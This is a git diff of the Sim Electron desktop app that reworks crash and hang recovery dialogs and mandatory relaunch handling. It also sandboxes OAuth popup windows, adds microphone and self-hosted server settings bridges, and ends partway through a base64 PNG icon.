b/apps/desktop/src/main/window.ts index 5ec4c02b7f8..dc9390056a5 100644 --- a/apps/desktop/src/main/window.ts +++ b/apps/desktop/src/main/window.ts @@ -198,6 +198,8 @@ export interface CreateMainWindowDeps { preloadPath: string isPackaged: boolean onClosed: () => void + /** A committed process restart must not be cancelled by a renderer's beforeunload handler. */ + isMandatoryRelaunchPending: () => boolean onFullScreenChange?: (isFullScreen: boolean) => void /** * Restores the persisted screen position for the first window. Secondary @@ -283,21 +285,57 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow { }) win.webContents.on('will-prevent-unload', (event) => { + if (deps.isMandatoryRelaunchPending()) { + event.preventDefault() + return + } const choice = dialog.showMessageBoxSync(win, { type: 'question', - buttons: ['Leave', 'Stay'], + buttons: ['Stay', 'Leave'], defaultId: 0, - cancelId: 1, + cancelId: 0, message: 'Leave Sim?', detail: 'Changes you made may not be saved.', }) - if (choice === 0) { + if (choice === 1) { event.preventDefault() } }) + let recoveryDialog: 'crash' | 'hang' | null = null + let crashPendingAfterHang = false + + const showCrashRecovery = (): void => { + if (win.isDestroyed()) return + if (recoveryDialog !== null) { + if (recoveryDialog === 'hang') crashPendingAfterHang = true + return + } + recoveryDialog = 'crash' + void dialog + .showMessageBox(win, { + type: 'error', + buttons: ['Reload', 'Quit Sim'], + defaultId: 0, + cancelId: 0, + message: 'Sim encountered a problem', + detail: 'The page stopped unexpectedly. Reload to pick up where you left off.', + }) + .then(({ response }) => { + if (win.isDestroyed()) return + if (response === 0) win.webContents.reload() + else app.quit() + }) + .catch((error) => { + logger.error('Could not present renderer recovery', { error: getErrorMessage(error) }) + }) + .finally(() => { + recoveryDialog = null + }) + } + win.webContents.on('render-process-gone', (_event, details) => { - if (details.reason === 'clean-exit') { + if (details.reason === 'clean-exit' || recoveryDialog === 'crash' || crashPendingAfterHang) { return } deps.events.record('renderer_gone', { @@ -305,38 +343,12 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow { exitCode: details.exitCode, crashDumpDir: app.getPath('crashDumps'), }) - setTimeout(() => { - if (win.isDestroyed()) { - return - } - void dialog - .showMessageBox(win, { - type: 'error', - buttons: ['Reload', 'Quit Sim'], - defaultId: 0, - cancelId: 0, - message: 'Sim encountered a problem', - detail: 'The page stopped unexpectedly. Reload to pick up where you left off.', - }) - .then(({ response }) => { - if (win.isDestroyed()) { - return - } - if (response === 0) { - win.webContents.reload() - } else { - app.quit() - } - }) - }, 0) + showCrashRecovery() }) - let hangDialogOpen = false win.webContents.on('unresponsive', () => { - if (hangDialogOpen || win.isDestroyed()) { - return - } - hangDialogOpen = true + if (recoveryDialog !== null || win.isDestroyed()) return + recoveryDialog = 'hang' deps.events.record('renderer_unresponsive') void dialog .showMessageBox(win, { @@ -348,14 +360,22 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow { detail: 'You can wait for it to recover or reload the page.', }) .then(({ response }) => { - hangDialogOpen = false if (!win.isDestroyed() && response === 1) { win.webContents.reload() } }) - }) - win.webContents.on('responsive', () => { - hangDialogOpen = false + .catch((error) => { + logger.error('Could not present unresponsive renderer recovery', { + error: getErrorMessage(error), + }) + }) + .finally(() => { + recoveryDialog = null + if (crashPendingAfterHang) { + crashPendingAfterHang = false + showCrashRecovery() + } + }) }) let zoomRestored = false diff --git a/apps/desktop/src/main/windows.test.ts b/apps/desktop/src/main/windows.test.ts index 70c21ead0ce..c508f8b47ae 100644 --- a/apps/desktop/src/main/windows.test.ts +++ b/apps/desktop/src/main/windows.test.ts @@ -29,13 +29,14 @@ describe('attachWindowOpenPolicy', () => { vi.mocked(shell.openExternal).mockClear() }) - function setup() { + function setup(isMandatoryRelaunchPending: () => boolean = () => false) { const contents = makeContents() const openAppWindow = vi.fn() attachWindowOpenPolicy(contents as unknown as WebContents, { appOrigin: () => APP, openAppWindow, allowHttpLocalhost: false, + isMandatoryRelaunchPending, }) return { contents, openAppWindow } } @@ -46,12 +47,27 @@ describe('attachWindowOpenPolicy', () => { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1', }) - expect(result).toEqual({ action: 'allow' }) + expect(result).toEqual({ + action: 'allow', + overrideBrowserWindowOptions: { + webPreferences: expect.objectContaining({ + preload: undefined, + additionalArguments: [], + contextIsolation: true, + nodeIntegration: false, + sandbox: true, + webSecurity: true, + webviewTag: false, + }), + }, + }) }) it('allows blank children for the blank-then-assign pattern', () => { const { contents } = setup() - expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toEqual({ action: 'allow' }) + expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toMatchObject({ + action: 'allow', + }) }) it('opens internal new-window requests as full Sim windows', () => { @@ -81,6 +97,38 @@ describe('attachWindowOpenPolicy', () => { const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window') expect(didCreateWindow).toBeDefined() }) + + it('allows a mandatory relaunch through a child beforeunload', () => { + const { contents } = setup(() => true) + const childContents = makeContents() + const child = { webContents: childContents } + const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window') + const event = { preventDefault: vi.fn() } + + didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' }) + const willPreventUnload = childContents.on.mock.calls.find( + ([eventName]) => eventName === 'will-prevent-unload' + ) + willPreventUnload?.[1](event) + + expect(event.preventDefault).toHaveBeenCalledOnce() + }) + + it('leaves child beforeunload untouched during ordinary use', () => { + const { contents } = setup() + const childContents = makeContents() + const child = { webContents: childContents } + const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window') + const event = { preventDefault: vi.fn() } + + didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' }) + const willPreventUnload = childContents.on.mock.calls.find( + ([eventName]) => eventName === 'will-prevent-unload' + ) + willPreventUnload?.[1](event) + + expect(event.preventDefault).not.toHaveBeenCalled() + }) }) describe('popup registry', () => { diff --git a/apps/desktop/src/main/windows.ts b/apps/desktop/src/main/windows.ts index 44a16332b86..d5e84a971d7 100644 --- a/apps/desktop/src/main/windows.ts +++ b/apps/desktop/src/main/windows.ts @@ -1,5 +1,5 @@ import { createLogger } from '@sim/logger' -import type { BrowserWindow, WebContents } from 'electron' +import type { BrowserWindow, BrowserWindowConstructorOptions, WebContents } from 'electron' import { classifyBlankChildNavigation, classifyWindowOpen, @@ -11,6 +11,23 @@ const logger = createLogger('DesktopWindows') const popupContents = new WeakSet() +/** + * Child windows share the opener's session for OAuth state and window.opener + * messaging. These preferences isolate ordinary OAuth children from Sim's + * privileged preload. + */ +const ISOLATED_CHILD_WINDOW_OPTIONS = { + webPreferences: { + preload: undefined, + additionalArguments: [], + contextIsolation: true, + nodeIntegration: false, + sandbox: true, + webSecurity: true, + webviewTag: false, + }, +} satisfies BrowserWindowConstructorOptions + /** * Marks a WebContents as a guarded popup child (MCP OAuth, blank-then-assign) * so the navigation classifier can apply the more permissive popup policy. @@ -27,6 +44,7 @@ export interface WindowPolicyDeps { appOrigin: () => string openAppWindow: (url: string) => void allowHttpLocalhost: boolean + isMandatoryRelaunchPending: () => boolean } /** @@ -42,7 +60,10 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy switch (action) { case 'popup-mcp': case 'popup-blank': - return { action: 'allow' } + return { + action: 'allow', + overrideBrowserWindowOptions: ISOLATED_CHILD_WINDOW_OPTIONS, + } case 'popup-internal': { deps.openAppWindow(details.url) return { action: 'deny' } @@ -59,6 +80,11 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy contents.on('did-create-window', (child, details) => { registerPopupContents(child.webContents) attachWindowOpenPolicy(child.webContents, deps) + child.webContents.on('will-prevent-unload', (event) => { + if (deps.isMandatoryRelaunchPending()) { + event.preventDefault() + } + }) const kind = classifyWindowOpen(details.url, details.frameName, deps.appOrigin()) if (kind === 'popup-blank') { attachBlankChildGuards(child, deps) @@ -67,9 +93,9 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy } /** - * Routes the first real navigation of an about:blank child: same-origin URLs - * open in a full Sim window, external URLs open in the system browser, and - * the child closes either way. + * Routes the first real navigation of an about:blank child. Electron creates + * that transient document with inherited preferences, so it is treated only + * as a handoff: the first real URL opens elsewhere and the child closes. */ function attachBlankChildGuards(child: BrowserWindow, deps: WindowPolicyDeps): void { child.webContents.on('will-navigate', (event, url) => { diff --git a/apps/desktop/src/preload/index.test.ts b/apps/desktop/src/preload/index.test.ts index 42cab747db4..4780e720e1e 100644 --- a/apps/desktop/src/preload/index.test.ts +++ b/apps/desktop/src/preload/index.test.ts @@ -45,4 +45,21 @@ describe('desktop preload bridge', () => { ['desktop:settings:set-browser-search-suggestions', false], ]) }) + + it('exposes native microphone settings only on supported platforms', async () => { + const exposed = exposeInMainWorld.mock.calls.find(([name]) => name === 'simDesktop')?.[1] as + | SimDesktopApi + | undefined + if (!exposed) throw new Error('Expected the desktop preload API to be exposed') + + const isSupportedPlatform = process.platform === 'darwin' || process.platform === 'win32' + expect(typeof exposed.openMicrophoneSettings).toBe( + isSupportedPlatform ? 'function' : 'undefined' + ) + + if (isSupportedPlatform) { + await exposed.openMicrophoneSettings?.() + expect(invoke).toHaveBeenLastCalledWith('desktop:open-microphone-settings') + } + }) }) diff --git a/apps/desktop/src/preload/index.ts b/apps/desktop/src/preload/index.ts index afe84f2a42e..b62def2f525 100644 --- a/apps/desktop/src/preload/index.ts +++ b/apps/desktop/src/preload/index.ts @@ -33,6 +33,8 @@ import type { DesktopOAuthConnectScope, DesktopPreferenceKey, DesktopPreferences, + DesktopServerChangeResult, + DesktopServerConfiguration, DesktopUpdateState, DesktopWindowState, DesktopZoomPercent, @@ -112,6 +114,12 @@ function shellVersion(): string { const api: SimDesktopApi = { version: shellVersion(), openExternal: (url: string): Promise => ipcRenderer.invoke('desktop:open-external', url), + ...(process.platform === 'darwin' || process.platform === 'win32' + ? { + openMicrophoneSettings: (): Promise => + ipcRenderer.invoke('desktop:open-microphone-settings'), + } + : {}), beginOAuthConnect: (providerId: string, scope?: DesktopOAuthConnectScope): Promise => ipcRenderer.invoke('desktop:oauth-connect', providerId, scope), onOAuthConnectComplete: (callback: (result: DesktopOAuthConnectResult) => void): (() => void) => { @@ -124,6 +132,15 @@ const api: SimDesktopApi = { offlineRetry: (): void => { ipcRenderer.send('offline:retry') }, + server: { + open: (): void => { + ipcRenderer.send('server:open') + }, + getConfiguration: (): Promise => + ipcRenderer.invoke('server:get-configuration'), + setOrigin: (origin: string): Promise => + ipcRenderer.invoke('server:set-origin', origin), + }, localFilesystem: (request: LocalFilesystemRequest): Promise => ipcRenderer.invoke('desktop:local-filesystem', request), onCommand: (callback: (command: DesktopCommand) => void): (() => void) => { @@ -439,7 +456,7 @@ const api: SimDesktopApi = { write: (terminalId: string, data: string, scopeId: string): void => { ipcRenderer.send('terminal:write', terminalId, data, scopeId) }, - paste: (terminalId: string, scopeId: string): Promise => + paste: (terminalId: string, scopeId: string) => ipcRenderer.invoke('terminal:paste', terminalId, scopeId), resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => { ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId) @@ -466,9 +483,6 @@ const api: SimDesktopApi = { ipcRenderer.invoke('terminal:dispose-scope', scopeId), suspendScope: (scopeId: string): Promise => ipcRenderer.invoke('terminal:suspend-scope', scopeId), - dispose: (): void => { - ipcRenderer.send('terminal:dispose') - }, onData: ( callback: (terminalId: string, data: string, scopeId: string) => void ): (() => void) => { diff --git a/apps/desktop/src/test/electron-mock.ts b/apps/desktop/src/test/electron-mock.ts index 348fe5c1f63..264e5342b67 100644 --- a/apps/desktop/src/test/electron-mock.ts +++ b/apps/desktop/src/test/electron-mock.ts @@ -22,6 +22,8 @@ export const app = { on: vi.fn(), once: vi.fn(), quit: vi.fn(), + exit: vi.fn(), + relaunch: vi.fn(), focus: vi.fn(), enableSandbox: vi.fn(), requestSingleInstanceLock: vi.fn(() => true), @@ -169,6 +171,7 @@ function createWebContentsMock() { setIgnoreMenuShortcuts: vi.fn(), getZoomFactor: vi.fn(() => 1), setZoomFactor: vi.fn(), + forcefullyCrashRenderer: vi.fn(), copy: vi.fn(), paste: vi.fn(), capturePage: vi.fn(() => { @@ -186,6 +189,7 @@ function createWebContentsMock() { navigationHistory: { canGoBack: vi.fn(() => false), canGoForward: vi.fn(() => false), + getActiveIndex: vi.fn(() => 0), goBack: vi.fn(), goForward: vi.fn(), }, @@ -220,9 +224,11 @@ export class WebContentsView { export class BrowserWindow { static fromWebContents = vi.fn(() => null) static getFocusedWindow = vi.fn(() => null) + static nextId = 1 /** Constructor tracking for tests (the class itself is not a vi.fn mock). */ static instances: BrowserWindow[] = [] static lastOptions: Record | undefined + readonly id = BrowserWindow.nextId++ constructor(options?: Record) { BrowserWindow.instances.push(this) BrowserWindow.lastOptions = options diff --git a/apps/desktop/static/offline.html b/apps/desktop/static/offline.html index 231c415a83e..47ae64e3533 100644 --- a/apps/desktop/static/offline.html +++ b/apps/desktop/static/offline.html @@ -126,6 +126,16 @@ stroke 150ms cubic-bezier(0.4, 0, 0.2, 1); -webkit-app-region: no-drag; } + button:focus-visible { + outline: 2px solid var(--text-primary); + outline-offset: 2px; + } + /* `button { display: inline-flex }` is an author rule, so it beats the UA + stylesheet's `[hidden] { display: none }` no matter the specificity — + without this the hidden status button renders anyway. */ + button[hidden] { + display: none; + } button .label { min-width: 0; flex: 1; @@ -189,8 +199,9 @@

Can’t connect to Sim

Sim couldn’t reach the server. Check your internet connection, then try again.

- - + + +
@@ -227,10 +238,23 @@

Can’t connect to Sim

if (detail) document.getElementById('detail').textContent = detail const bridge = window.simDesktop + const statusButton = document.getElementById('status') document.getElementById('retry').addEventListener('click', () => bridge?.offlineRetry()) - document - .getElementById('status') - .addEventListener('click', () => bridge?.openExternal('https://status.sim.ai')) + statusButton.addEventListener('click', () => bridge?.openExternal('https://status.sim.ai')) + // The recovery path for a shell pointed at a server it cannot reach — + // a mistyped self-hosted origin strands the app here with nothing else + // to click. + document.getElementById('server').addEventListener('click', () => bridge?.server?.open()) + + // Hidden in the markup and only ever revealed, never the reverse: an + // older shell with no `server` bridge, or a configuration read that + // fails, must not leave a status link a self-hoster cannot use. + bridge?.server + ?.getConfiguration() + .then(({ isSimCloud }) => { + if (isSimCloud) statusButton.hidden = false + }) + .catch(() => {}) diff --git a/apps/desktop/static/server.html b/apps/desktop/static/server.html new file mode 100644 index 00000000000..5334f995473 --- /dev/null +++ b/apps/desktop/static/server.html @@ -0,0 +1,272 @@ + + + + + + Sim - Server + + + +
+
+

Sim server

+

+ Point this app at your own Sim deployment. Self-hosted servers must use HTTPS; localhost may + use HTTP. +

+ + +
+
+ + +
+
+ + + diff --git a/apps/docs/components/icons.tsx b/apps/docs/components/icons.tsx index a8af27bcc36..f614010e580 100644 --- a/apps/docs/components/icons.tsx +++ b/apps/docs/components/icons.tsx @@ -3215,6 +3215,33 @@ export function TelegramIcon(props: SVGProps) { ) } +const TINYFISH_ICON_PNG_DATA_URI = + 'data:image/png;base64,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